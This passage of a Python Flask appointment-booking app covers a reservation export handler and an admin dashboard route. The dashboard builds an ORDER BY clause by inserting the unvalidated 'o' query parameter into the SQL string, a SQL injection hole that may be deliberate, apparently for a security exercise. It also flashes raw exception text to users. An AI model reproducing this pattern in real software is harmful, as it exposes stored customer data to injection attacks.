            sql = "SELECT appointment_id, appointment_name, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s AND appointment_id = %s"
            result = cursor.execute(sql, (validation, appointID))
            if result != 0:
                connection.commit()
                appointments = cursor.fetchone()
                filename = generate_ics_file(appointments['appointment_name'], appointments['appointment_date'], appointments['appointment_time'], appointments['appointment_email'], appointments['appointment_people'], appointments['appointment_message'])
                connection.close()
                flash("Reservation downloaded successfully","success")
                return redirect(url_for('export_file', filename=filename))
            else:
                flash("Something went wrong!","error")
    except:
        flash("Something went wrong!","error")
        
    return redirect(url_for("dashboard"))

@app.route('/admindashboard', methods=['GET', 'POST'])
def admindashboard():
        validation = validate_login()
        if validation != "administrator":
            return redirect(url_for('login'))
 
        try:
            connection = pymysql.connect(**db_config)
            with connection.cursor() as cursor:
                sql = "SELECT * from appointments"
                cursor.execute(sql)
                connection.commit()
                appointments = cursor.fetchall()

                search_query = request.args.get('s', '')

                # added option to order the reservations
                order_query = request.args.get('o', '')

                sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
                cursor.execute(sql, ('%' + search_query + '%',))
                connection.commit()
                appointments = cursor.fetchall()
            connection.close()
            
            return render_template('admindashboard.html', appointments=appointments)
        except Exception as e:
            flash(str(e), 'error')
            return render_template('admindashboard.html', appointments=appointments)



if __name__ == '__main__':
    app.run(threaded=True, debug=False, host='0.0.0.0', port=3000)